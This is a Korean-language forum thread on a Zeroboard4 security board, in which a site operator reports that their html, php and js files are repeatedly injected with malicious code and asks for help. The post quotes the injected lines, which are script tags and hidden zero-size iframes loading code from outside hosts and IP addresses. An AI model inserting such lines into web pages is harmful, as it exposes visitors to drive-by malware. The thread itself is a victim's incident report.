제로보드4의 보안 취약점에 대한 정보와 패치 자료들을 공유하는 곳입니다.
제로보드4로 사이트를 운영하시는 분들의 많은 관심과 정보 공유 부탁드립니다.
보안 관련 내용이 아닌 경우 삭제될 수 있습니다.
![[레벨:3]](http://www.xpressengine.com/modules/point/icons/xe_v3/3.gif "포인트:990point (28%), 레벨:3/30"){kind=icon}
고펑html , php , js 파일내 다음과 같은 스크립트를 삽입하고 있습니다.
script language=javascript src=http://www.cancan.co.kr/1/ajax.js></script
script language=javascript src=http://116.125.127.141/swf/ajax.js></script
iframe src=http://116.125.127.141/include/index.asp width=0 height=0></iframe
script language=javascript src=http://116.125.127.141/swf/ajax.js></script
iframe src=http://121.124.124.72/help.asp width=0 height=0></iframe
document.write("<iframe width='0' height='0' src='http://116.125.127.141/include/index.asp'></iframe>");
document.write("<iframe width='0' height='0' src='http://sjappletree.net/log/help.asp'></iframe>");
document.write("<iframe width='0' height='0' src='http://210.118.78.27/help.asp'></iframe>");
어디가 뚫린지 알 수가 없어서 당황스럽습니다. 계속 모니터링하면서 변조된 파일을 다시 수정하고 또 털리고 또 수정하고 반복입니다..
이러다가 사이트를 닫아야되는게 아닌지 심히 걱정스럽습니다. ㅠ_ㅠ
![[레벨:5]](http://www.xpressengine.com/modules/point/icons/xe_v3/5.gif "포인트:2292point (4%), 레벨:5/30"){kind=icon}
인터니즈2
![[레벨:15]](http://www.xpressengine.com/modules/point/icons/xe_v3/15.gif "포인트:22240point (71%), 레벨:15/30"){kind=icon}
misol![[레벨:6]](http://www.xpressengine.com/modules/point/icons/xe_v3/6.gif "포인트:4170point (79%), 레벨:6/30"){kind=icon}
아빠불당![[레벨:1]](http://www.xpressengine.com/modules/point/icons/xe_v3/1.gif "포인트:110point (7%), 레벨:1/30"){kind=icon}
브이빈
특정게시판 memo필드내에 삽입되는 인젝션공격이 아니라,
화일자체에 삽입되는 건가요?